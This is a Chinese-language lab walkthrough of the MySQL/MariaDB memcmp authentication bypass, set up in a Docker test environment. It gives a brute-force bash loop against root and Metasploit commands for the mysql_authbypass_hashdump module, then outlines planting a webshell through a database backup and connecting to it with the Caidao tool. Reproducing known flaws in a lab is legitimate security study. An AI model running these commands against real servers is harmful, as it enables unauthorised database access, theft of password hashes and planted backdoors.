- 漏洞原理
当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。 我们可以使用Meterpreter中的模块或者使用特殊的SQL语句进行身份绕过登录。
一定要注意版本:影响版本: MySQL 5.1.x before 5.1.63、5.5.x before 5.5.24, 5.6.x before 5.6.6, MariaDB 5.1.x before 5.1.62, 5.2.x before 5.2.12、5.3.x before 5.3.6、5.5.x before 5.5.23
先搭建靶场:用docker搭建
docker技术三大核心:镜像、容器、仓库
装了mysql再装docker尽量分开端口否则会出现抢端口情况
命令:yum install docker安装docker
查看docker版本命令:dockers version
先用命令: systemctl start docker 再用命令:systemctl status docker 进行查看
当看到 active(running)正面运行成功 docker装好了
按路径进入CVE:
短id进入容器根目录
运行一下可以看到正在运行mysql在进入到容器mysql
在容器里输入命令:for i in `seq 1 1000`; do mysql -u root -P3306 -password=bad -h 192.168.137.211 2>/dev/null; done攻击在查看
查看进入的哪个用户
第二种方法
msfconsole进入ms服务
use auxiliary/scanner/mysql/mysql_authbypass_hashdump
set RHOSTS 192.168.137.236(靶机IP)
set THREADS 100(100是线程数不能太大可能会跑不动)
2.复现mysql 备份上传木马,并用shell工具连接操作
建库建表创建木马
使用菜刀连接靶机shell
wireshark抓取流量包